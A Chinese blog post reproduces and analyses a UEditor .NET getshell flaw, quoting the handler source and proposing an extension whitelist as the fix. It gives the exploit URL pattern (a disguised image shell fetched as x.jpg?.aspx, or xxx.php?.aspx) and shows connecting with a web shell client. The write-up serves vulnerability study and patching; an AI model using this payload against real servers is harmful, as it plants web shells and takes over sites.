ueditor php漏洞,ueditor getshell漏洞重现及分析

你的名字 2023-01-16 06:57 427阅读 0赞

0x00 概述

8月21日，网上爆出ueditor .net版本getshell漏洞，由于只校验ContentType而没校验文件后缀导致getshell。

0x01 漏洞重现

Payload：

shell addr:

图片马x.jpg放在自己服务器上

提交http://www.domain.top/x.jpg?.aspx

![83ec49af6d1fe29be0bb5fa5c4f899eb240.jpg][]

![5a9639ca5872e180ae83a92b9d702e0d2ce.jpg][]

菜刀连接：

![745b958b204d692acd0cf9e625028d4c29a.jpg][]

0x02 修复方案

增加文件扩展名校验(白名单)

0x03 漏洞分析

ueditor1\_4\_3\_3-utf8-net\\utf8-net\\net\\controller.ashx

using System;

using System.Web;

using System.IO;

using System.Collections;

using Newtonsoft.Json;

public class UEditorHandler : IHttpHandler

public void ProcessRequest(HttpContext context)

Handler action = null;

switch (context.Request\["action"\])

case "config":

action = new ConfigHandler(context);

break;

case "uploadimage":

action = new UploadHandler(context, new UploadConfig()

AllowExtensions = Config.GetStringList("imageAllowFiles"),

PathFormat = Config.GetString("imagePathFormat"),

SizeLimit = Config.GetInt("imageMaxSize"),

UploadFieldName = Config.GetString("imageFieldName")

\});

break;

case "uploadscrawl":

action = new UploadHandler(context, new UploadConfig()

AllowExtensions = new string\[\] \{ ".png" \},

PathFormat = Config.GetString("scrawlPathFormat"),

SizeLimit = Config.GetInt("scrawlMaxSize"),

UploadFieldName = Config.GetString("scrawlFieldName"),

Base64 = true,

Base64Filename = "scrawl.png"

\});

break;

case "uploadvideo":

action = new UploadHandler(context, new UploadConfig()

AllowExtensions = Config.GetStringList("videoAllowFiles"),

PathFormat = Config.GetString("videoPathFormat"),

SizeLimit = Config.GetInt("videoMaxSize"),

UploadFieldName = Config.GetString("videoFieldName")

\});

break;

case "uploadfile":

action = new UploadHandler(context, new UploadConfig()

AllowExtensions = Config.GetStringList("fileAllowFiles"),

PathFormat = Config.GetString("filePathFormat"),

SizeLimit = Config.GetInt("fileMaxSize"),

UploadFieldName = Config.GetString("fileFieldName")

\});

break;

case "listimage":

action = new ListFileManager(context, Config.GetString("imageManagerListPath"), Config.GetStringList("imageManagerAllowFiles"));

break;

case "listfile":

action = new ListFileManager(context, Config.GetString("fileManagerListPath"), Config.GetStringList("fileManagerAllowFiles"));

break;

case "catchimage":

action = new CrawlerHandler(context);

break;

default:

action = new NotSupportedHandler(context);

break;

action.Process();

public bool IsReusable

get

return false;

根据payload，这次漏洞利用点在

case “catchimage”:

action = new CrawlerHandler(context);

break;

找到CrawlerHandler这个类

ueditor1\_4\_3\_3-utf8-net\\utf8-net\\net\\App\_Code\\CrawlerHandler.cs

public class CrawlerHandler : Handler

private string\[\] Sources;

private Crawler\[\] Crawlers;

public CrawlerHandler(HttpContext context) : base(context) \{ \}

public override void Process()

Sources = Request.Form.GetValues("source\[\]");

if (Sources == null || Sources.Length == 0)

WriteJson(new

state = "参数错误：没有指定抓取源"

\});

return;

Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();

WriteJson(new

state = "SUCCESS",

list = Crawlers.Select(x => new

state = x.State,

source = x.SourceUrl,

url = x.ServerUrl

\})

\});

获取传入的source\[\]

Sources = Request.Form.GetValues(“source\[\]”);

关键在：

Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();

找到Crawler类的Fetch方法：

public class Crawler

public string SourceUrl \{ get; set; \}

public string ServerUrl \{ get; set; \}

public string State \{ get; set; \}

private HttpServerUtility Server \{ get; set; \}

public Crawler(string sourceUrl, HttpServerUtility server)

this.SourceUrl = sourceUrl;

this.Server = server;

public Crawler Fetch()

if (!IsExternalIPAddress(this.SourceUrl))

State = "INVALID\_URL";

return this;

var request = HttpWebRequest.Create(this.SourceUrl) as HttpWebRequest;

using (var response = request.GetResponse() as HttpWebResponse)

if (response.StatusCode != HttpStatusCode.OK)

State = "Url returns " + response.StatusCode + ", " + response.StatusDescription;

return this;

if (response.ContentType.IndexOf("image") == -1)

State = "Url is not an image";

return this;

ServerUrl = PathFormatter.Format(Path.GetFileName(this.SourceUrl), Config.GetString("catcherPathFormat"));

var savePath = Server.MapPath(ServerUrl);

if (!Directory.Exists(Path.GetDirectoryName(savePath)))

Directory.CreateDirectory(Path.GetDirectoryName(savePath));

try

var stream = response.GetResponseStream();

var reader = new BinaryReader(stream);

byte\[\] bytes;

using (var ms = new MemoryStream())

byte\[\] buffer = new byte\[4096\];

int count;

while ((count = reader.Read(buffer, 0, buffer.Length)) != 0)

ms.Write(buffer, 0, count);

bytes = ms.ToArray();

File.WriteAllBytes(savePath, bytes);

State = "SUCCESS";

catch (Exception e)

State = "抓取错误：" + e.Message;

return this;

据说1.5dev版没有判断ip：

if (!IsExternalIPAddress(this.SourceUrl))

所以1.4.3.3这版本要可解析的域名作为payload

接着进入判断

if (response.ContentType.IndexOf(“image”) == -1)

State = “Url is not an image”;

return this;

这就是漏洞所在，只判断响应的ContentType，可以构造图片马绕过，如：

或xxx.php?.aspx在xxx.php中设置ContentType。

最后流程保存文件。

0x04 检测工具

对此漏洞的检测工具，支持单url和批量，使用中有任何问题欢迎反馈！

0x05 参考资料

[83ec49af6d1fe29be0bb5fa5c4f899eb240.jpg]: /images/20221022/57db134b92d448ca987782b488792b1d.png
[5a9639ca5872e180ae83a92b9d702e0d2ce.jpg]: /images/20221022/f98c0193a2764d279083e588b9150add.png
[745b958b204d692acd0cf9e625028d4c29a.jpg]: /images/20221022/c3ce7761e5aa497194903562932008a7.png